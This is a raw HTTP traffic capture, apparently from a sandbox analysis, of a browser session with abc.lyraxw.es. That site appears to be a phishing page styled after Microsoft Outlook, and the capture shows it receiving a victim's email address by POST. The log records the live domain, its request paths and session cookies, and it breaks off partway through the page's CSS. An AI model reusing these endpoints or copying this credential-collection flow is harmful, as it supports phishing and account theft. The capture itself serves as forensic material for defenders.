2025-03-17 22:11:48 UTC	1123	OUT	GET /glBytjKUIFd02UrOLpXRLqo HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNhdkREZFpxR1lzOUh3NGZRV0RNMXc9PSIsInZhbHVlIjoiV1BCaCtVd2p2MkJIbk40UkV2dnhMSTBHYnhsOVFtZkl4RXlqMXVqOFpGeHI2K2lpb1BNWHpJTDdXemVFNkk3RGVuUXRYS2FxVEdCWXBzZmVyUXVXbXpQRVB6L09raERIYzVpMS9NV3BlUUE4TUlEQVFSZVNqVGhFU3kzbnFQbnkiLCJtYWMiOiI4YWNmMDkxNDIxYzVkNmNjY2JkZGI2MGQ5Zjk3ZGNhODZjNDZhYTM2MmZhMmZlYTg1ZTE5ZDYyOTBjNWRjOThlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imgvbko4WDZOQVFqTEhjV2RsejIrOUE9PSIsInZhbHVlIjoiNFEvc1piRUhjKzE5ZThkM003NzdKZzczTnFBSUhuTnQ3ZytMK0tBS2FZbFZ6SmhDKy8rSENXbTQ4VTdsWkFNdzFUY0ZXQlE4Uk1YOHhlTkRZZnIyWHoyS2lhNXFaZ0FMYkVnbTkvdGhhUmRseGlOMFhNU0p1ODBaM1FzZ0h1N1AiLCJtYWMiOiJjYmYzZmZmMjBkYmM3NWE5ZjM3NWI4Mjk1YzJiNTg3NWNmN2RiNzQyZTY5YWUzOWRlMjYwYjI3ZDZhNjdjOTgwIiwidGFnIjoiIn0%3D
2025-03-17 22:11:48 UTC	1028	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 22:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VUP0zyfjD6BXLyvFVbZUjAXdDTfaceJOwD4D6w79GR2BtdCfubvL5Hx7ZWyCxbJJJ39jMfVWsxmuhi5kR%2Fc0Wu5TPftwgjzM01XijIE3vIn8tBz8TrwvXGCXF6%2BFadYDX0sY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1588&rtt_var=464&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2035&delivery_rate=1773423&cwnd=251&unsent_bytes=0&cid=21baf905533b76d4&ts=115&x=0" Server: cloudflare CF-RAY: 921fd4026ebd4308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1726&rtt_var=666&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1695&delivery_rate=1621321&cwnd=217&unsent_bytes=0&cid=6adc2519bcc03b52&ts=420&x=0"
2025-03-17 22:11:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:48 UTC	1450	OUT	POST /kfAVOnbCDOBJsIbpoSXWLv0fluppYIKFpulqbrGKTCRx378hottrq0jy HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive Content-Length: 26 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://abc.lyraxw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://abc.lyraxw.es/HX1rTg/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImhMOXRET0ZDdEJtZytaM3h0Z3hlWXc9PSIsInZhbHVlIjoiaEZDTkVOTWJaS3dWUy9RdWtnQllLZVF3K1R2WlVMZ1p5MW0yOW5meEM5OU9jU1U1YzNrMzdaSEp1ZDl6QjFmOHcvV2xnc2doTERXS2ZlRDVjbHpTc01rMHl5ZTNQNjZ4RWM4S1FjWEdjUjlSUllGcE5WUk1GaDlKbVFFRzlOUE4iLCJtYWMiOiJkZmY3YWE2NmYzOTQ1MjE1Yzc3ZGY3YzcxMDU0OTY0Y2UwNTJjZTk0ZGYzMGI0NGQ5YmY4ZmYxOGZiOGE3ZDgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilo1aUU3cTFnNUpWTDNZek9od0dpd3c9PSIsInZhbHVlIjoiS1FNVVQ3bzFPYWFWZFRTOXI1UE8xL0NENzZkNXZzZTAvR3ErVkJPMFppTlFoTi9oRldkWWJYZWxsK0J3Wks1YU9KeEtFTUlHazNUUGJCYWRwTXhsTHZLL0RCQmJhd2ZhSVhHYWthSjBKM2p5UFFldFVpcXFMeHFSczVFTlN6YXEiLCJtYWMiOiI4YTU2ZWZmMThiMTBjZGNjYzZkYTZmNmE3YzVlZThlZjg4ZmE1MzViNzdkNDdkOGQ2ZmNiNzczOWFhOWYwYjk2IiwidGFnIjoiIn0%3D
2025-03-17 22:11:48 UTC	26	OUT	Data Raw: 64 61 74 61 3d 51 58 63 65 36 61 7a 7a 25 34 30 64 78 7a 76 74 68 71 2e 63 6f Data Ascii: data=QXce6azz%40dxzvthq.co
2025-03-17 22:11:48 UTC	1211	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xvavlb5CMRIYKA0V87hsXSlCgl4pBpYdnu6ebeHwKqtd6ZSVvFw5pTdQ0nznfNqYYNGOyREh1EbJs4CvU%2B%2F8W8MjSI%2F8edlmNTOhkvgaHnQJ9OKxujxb39ffFfbeqJp46UL5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1139&min_rtt=1126&rtt_var=331&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2385&delivery_rate=2470989&cwnd=251&unsent_bytes=0&cid=f4b84e047e5e6b76&ts=74&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdnY09NcFMzZjh1QkdsdCtDNlpvUkE9PSIsInZhbHVlIjoicVFHUWZ6bXRSQmFrc3hRVWZzdG0vU1hwUFVNRW5uMytLMFdLc05nMzZ1ektyekNoejRLbVc1RU5OZ0tPdll3NFNuMUxYdE9hd25MdGc5RzZDNFRIR2Npdm84WUw2YUpQWnRNOFo0V0RLOGFVd3EyZ3RibEh1NmZ0V2hQa1pSKzgiLCJtYWMiOiI2NDE4ZmU3MWFmNTgwNTI2MDQ3NDhmYzQ2ZTgwOTAwZWNiODYwYjc5ZTU2MWNlMjVhMzg3ZDdlOTBiMTZkYzM4IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 00:11:48 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 22:11:48 UTC	761	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 4e 6b 54 32 78 31 4d 30 52 6f 61 6b 52 5a 4d 43 74 4d 55 54 6b 33 4d 30 78 53 4e 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4f 46 56 68 64 48 4e 43 64 47 64 57 59 6c 6c 69 5a 48 4e 44 56 46 5a 54 62 6b 39 6d 59 7a 4a 77 63 55 77 33 55 6d 77 72 54 32 63 72 4e 46 5a 45 62 6d 59 72 5a 55 4e 72 5a 6d 5a 32 5a 46 49 30 64 6d 4a 51 64 45 5a 68 62 45 4a 78 59 58 46 57 65 6d 56 6c 53 54 4a 49 59 31 4e 31 61 48 64 51 56 6e 68 33 62 6b 70 72 4d 7a 5a 75 64 6a 4d 78 52 57 77 76 52 55 39 6a 55 6b 6f 77 52 30 63 78 57 54 6c 72 5a 6d 74 42 62 6d 35 47 65 6d 6c 35 4f 56 45 78 5a 31 4e 4b 51 6c 70 45 61 6a 52 56 52 58 64 78 52 53 39 78 59 6b 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InNkT2x1M0RoakRZMCtMUTk3M0xSNWc9PSIsInZhbHVlIjoiOFVhdHNCdGdWYlliZHNDVFZTbk9mYzJwcUw3UmwrT2crNFZEbmYrZUNrZmZ2ZFI0dmJQdEZhbEJxYXFWemVlSTJIY1N1aHdQVnh3bkprMzZudjMxRWwvRU9jUkowR0cxWTlrZmtBbm5Geml5OVExZ1NKQlpEajRVRXdxRS9xYkU
2025-03-17 22:11:48 UTC	319	IN	Data Raw: 31 33 38 0d 0a 7b 22 61 22 3a 22 32 6f 75 37 6d 31 6e 73 43 7a 4f 46 72 79 34 78 75 72 63 31 6a 54 33 6c 65 49 35 32 62 36 34 54 39 41 6f 64 72 41 71 6c 5a 5a 52 49 4b 47 4b 4d 43 41 61 78 35 62 46 61 6c 42 31 39 46 51 30 2b 56 4c 5c 2f 67 5c 2f 42 7a 72 55 53 6c 63 45 4b 42 69 63 65 33 62 4f 41 39 6a 46 55 6d 6a 49 58 5a 72 7a 54 2b 63 55 36 54 76 31 66 77 56 59 4c 70 6d 51 74 6f 37 48 62 6c 6c 5c 2f 6e 61 7a 6c 6d 31 71 77 6b 64 4d 56 72 66 70 6c 43 73 32 5a 54 35 31 55 69 66 44 79 77 3d 3d 22 2c 22 62 22 3a 22 35 66 32 63 34 34 61 37 62 61 36 62 32 62 34 66 33 39 33 35 33 31 30 32 36 39 66 33 39 63 31 36 22 2c 22 63 22 3a 22 32 30 64 61 35 33 36 35 37 34 32 66 33 36 36 61 61 65 35 61 34 66 31 64 32 35 33 33 64 64 62 62 22 2c 22 64 22 3a 22 36 34 33 39 Data Ascii: 138{"a":"2ou7m1nsCzOFry4xurc1jT3leI52b64T9AodrAqlZZRIKGKMCAax5bFalB19FQ0+VL\/g\/BzrUSlcEKBice3bOA9jFUmjIXZrzT+cU6Tv1fwVYLpmQto7Hbll\/nazlm1qwkdMVrfplCs2ZT51UifDyw==","b":"5f2c44a7ba6b2b4f3935310269f39c16","c":"20da5365742f366aae5a4f1d2533ddbb","d":"6439
2025-03-17 22:11:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:49 UTC	1319	OUT	GET /favicon.ico HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://abc.lyraxw.es/HX1rTg/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImhMOXRET0ZDdEJtZytaM3h0Z3hlWXc9PSIsInZhbHVlIjoiaEZDTkVOTWJaS3dWUy9RdWtnQllLZVF3K1R2WlVMZ1p5MW0yOW5meEM5OU9jU1U1YzNrMzdaSEp1ZDl6QjFmOHcvV2xnc2doTERXS2ZlRDVjbHpTc01rMHl5ZTNQNjZ4RWM4S1FjWEdjUjlSUllGcE5WUk1GaDlKbVFFRzlOUE4iLCJtYWMiOiJkZmY3YWE2NmYzOTQ1MjE1Yzc3ZGY3YzcxMDU0OTY0Y2UwNTJjZTk0ZGYzMGI0NGQ5YmY4ZmYxOGZiOGE3ZDgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilo1aUU3cTFnNUpWTDNZek9od0dpd3c9PSIsInZhbHVlIjoiS1FNVVQ3bzFPYWFWZFRTOXI1UE8xL0NENzZkNXZzZTAvR3ErVkJPMFppTlFoTi9oRldkWWJYZWxsK0J3Wks1YU9KeEtFTUlHazNUUGJCYWRwTXhsTHZLL0RCQmJhd2ZhSVhHYWthSjBKM2p5UFFldFVpcXFMeHFSczVFTlN6YXEiLCJtYWMiOiI4YTU2ZWZmMThiMTBjZGNjYzZkYTZmNmE3YzVlZThlZjg4ZmE1MzViNzdkNDdkOGQ2ZmNiNzczOWFhOWYwYjk2IiwidGFnIjoiIn0%3D
2025-03-17 22:11:49 UTC	1064	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 22:11:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HND%2BO3o3t4P4y%2FfmUzNn9O32xgsgXfXCbXbD1nzJ7XVBekGH9F1GNlioYJH5W%2FlacXZc75bW7%2FFXLaV7OZaz05mdyc7qyQFMGrO8kqlPco7%2F6v7jyVXV7DSJnKM9Tj1bVFsz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1633&rtt_var=585&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2230&delivery_rate=1722784&cwnd=251&unsent_bytes=0&cid=87fea849fa2bf927&ts=125&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 921fd40879405ed0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1682&rtt_var=671&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1891&delivery_rate=1583514&cwnd=130&unsent_bytes=0&cid=3285359aef89306b&ts=444&x=0"
2025-03-17 22:11:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:49 UTC	1156	OUT	GET /kfAVOnbCDOBJsIbpoSXWLv0fluppYIKFpulqbrGKTCRx378hottrq0jy HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkdnY09NcFMzZjh1QkdsdCtDNlpvUkE9PSIsInZhbHVlIjoicVFHUWZ6bXRSQmFrc3hRVWZzdG0vU1hwUFVNRW5uMytLMFdLc05nMzZ1ektyekNoejRLbVc1RU5OZ0tPdll3NFNuMUxYdE9hd25MdGc5RzZDNFRIR2Npdm84WUw2YUpQWnRNOFo0V0RLOGFVd3EyZ3RibEh1NmZ0V2hQa1pSKzgiLCJtYWMiOiI2NDE4ZmU3MWFmNTgwNTI2MDQ3NDhmYzQ2ZTgwOTAwZWNiODYwYjc5ZTU2MWNlMjVhMzg3ZDdlOTBiMTZkYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNkT2x1M0RoakRZMCtMUTk3M0xSNWc9PSIsInZhbHVlIjoiOFVhdHNCdGdWYlliZHNDVFZTbk9mYzJwcUw3UmwrT2crNFZEbmYrZUNrZmZ2ZFI0dmJQdEZhbEJxYXFWemVlSTJIY1N1aHdQVnh3bkprMzZudjMxRWwvRU9jUkowR0cxWTlrZmtBbm5Geml5OVExZ1NKQlpEajRVRXdxRS9xYkUiLCJtYWMiOiJiZGFkZGNiMGEwYjlhY2E4ZTA4ZmM1ZWRhYTM4ZGRlNDYwYzhmOTVhY2QxZDM3ZjIxZjRhOTk1YjdlMGExOTA0IiwidGFnIjoiIn0%3D
2025-03-17 22:11:50 UTC	1034	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 22:11:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y9OgSStjDfz615p4WEQYKFdqxCJLbq1NkzZyk6i7eT%2FM474EOspDf1feA%2BQJyBo8%2F6sYowYErJMcUJuuzIIdlW%2FVQ2OyArtk2jQ0CC9coDqRoHF2YbO%2BZ1HIB0oUjzaJHLMi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1138&min_rtt=1129&rtt_var=327&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2067&delivery_rate=2492254&cwnd=251&unsent_bytes=0&cid=5563a55b08f35127&ts=116&x=0" Server: cloudflare CF-RAY: 921fd40bcdd8c356-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1567&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1728&delivery_rate=1838790&cwnd=163&unsent_bytes=0&cid=949cfaecc6f1ac8f&ts=422&x=0"
2025-03-17 22:11:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:49 UTC	1488	OUT	GET /EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://abc.lyraxw.es/HX1rTg/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkdnY09NcFMzZjh1QkdsdCtDNlpvUkE9PSIsInZhbHVlIjoicVFHUWZ6bXRSQmFrc3hRVWZzdG0vU1hwUFVNRW5uMytLMFdLc05nMzZ1ektyekNoejRLbVc1RU5OZ0tPdll3NFNuMUxYdE9hd25MdGc5RzZDNFRIR2Npdm84WUw2YUpQWnRNOFo0V0RLOGFVd3EyZ3RibEh1NmZ0V2hQa1pSKzgiLCJtYWMiOiI2NDE4ZmU3MWFmNTgwNTI2MDQ3NDhmYzQ2ZTgwOTAwZWNiODYwYjc5ZTU2MWNlMjVhMzg3ZDdlOTBiMTZkYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNkT2x1M0RoakRZMCtMUTk3M0xSNWc9PSIsInZhbHVlIjoiOFVhdHNCdGdWYlliZHNDVFZTbk9mYzJwcUw3UmwrT2crNFZEbmYrZUNrZmZ2ZFI0dmJQdEZhbEJxYXFWemVlSTJIY1N1aHdQVnh3bkprMzZudjMxRWwvRU9jUkowR0cxWTlrZmtBbm5Geml5OVExZ1NKQlpEajRVRXdxRS9xYkUiLCJtYWMiOiJiZGFkZGNiMGEwYjlhY2E4ZTA4ZmM1ZWRhYTM4ZGRlNDYwYzhmOTVhY2QxZDM3ZjIxZjRhOTk1YjdlMGExOTA0IiwidGFnIjoiIn0%3D
2025-03-17 22:11:50 UTC	1214	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0m7MscnrEHCfY3xanbclCrEegLinZ66uE%2FS%2FcEJFHoC3ZBgGXQcACFf6nmShjokZcDjsPYdBfozDUQFToT%2BCsYZO69t02Mq2LBXWArOfrsF7zlKwX9qVKgkpDVIgJ7%2F5Y270"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1280&min_rtt=1196&rtt_var=398&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2399&delivery_rate=2343042&cwnd=251&unsent_bytes=0&cid=89b56487924e6726&ts=148&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 00:11:49 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 22:11:50 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 67 32 54 55 35 4b 65 6b 6f 31 51 56 4a 55 53 33 70 49 57 56 56 76 4d 6c 6c 30 4d 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 6d 78 6e 64 6e 42 4f 4d 6c 4e 69 56 54 49 78 61 47 56 74 57 54 56 79 54 58 46 59 56 57 68 57 54 47 78 79 59 54 64 73 62 57 4a 77 59 31 70 56 62 6e 6c 50 61 7a 67 79 53 6e 4e 61 63 45 5a 75 4e 6b 64 53 53 48 70 35 55 47 4a 4c 61 6c 4e 69 53 57 39 61 56 31 68 77 5a 33 68 69 4b 7a 49 77 61 43 39 34 51 6e 4a 4f 65 56 46 49 65 6b 78 59 5a 6c 4d 31 55 43 38 72 59 54 52 4f 54 7a 4a 4b 4d 30 46 71 59 6a 6c 4a 59 6d 67 33 4b 32 74 75 61 56 56 75 4d 6c 6b 72 55 6d 56 71 59 57 74 44 55 47 6c 75 56 33 6b 31 54 33 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3o
2025-03-17 22:11:50 UTC	338	IN	Data Raw: 31 34 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: 14b<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 35 64 31 62 0d 0a 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 7d 0d 0a 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 2d 2d 73 3a 20 31 38 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 57 3a 20 31 33 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 48 3a 20 37 31 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 57 3a 20 31 31 38 70 78 3b 0d 0a 20 20 20 20 2d 2d 73 71 57 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c 57 29 20 2f 20 33 29 3b 0d 0a 20 20 20 20 2d 2d 73 71 48 3a 20 33 37 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 48 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 73 71 48 29 20 Data Ascii: 5d1bround-color: #fff; height: 100%; overflow: hidden;}:root { --s: 180px; --envW: 130px; --envH: 71px; --calW: 118px; --sqW: calc(var(--calW) / 3); --sqH: 37px; --calHH: 20px; --calH: calc(var(--sqH)
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 39 30 64 66 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 2c 36 33 70 78 29 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 3b 7d 0d 0a 23 65 62 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 30 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 2c 23 63 61 6c 3e 2e 74 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 63 61 6c 57 29 3b 7d 0d 0a 23 63 61 6c 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 61 6c 48 29 3b 62 6f Data Ascii: dth:287px;background:#1490df;transform:translate(-120px,63px) rotate(-28deg);}#eb{width:var(--envW);height:40px;background:#123b6d;margin-top:-70px;}#cal,#cal>.r,#cal>.t{width:var(--calW);}#cal{flex-direction:row;flex-wrap:wrap;height:var(--calH);bo
2025-03-17 22:11:50 UTC	1369	IN	Data Raw: 23 31 32 33 62 36 64 3b 7d 0d 0a 23 4d 53 4c 6f 67 6f 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 33 36 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 63 61 6c 63 28 35 30 76 77 20 2d 20 34 35 70 78 29 3b 0d 0a 7d 0d 0a 2f 2a 21 20 43 53 53 20 55 73 65 64 20 6b 65 79 66 72 61 6d 65 73 20 2a 2f 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 32 2e 35 25 2c 33 32 2e 35 25 2c 35 30 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 7d 32 32 2e 35 25 2c 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 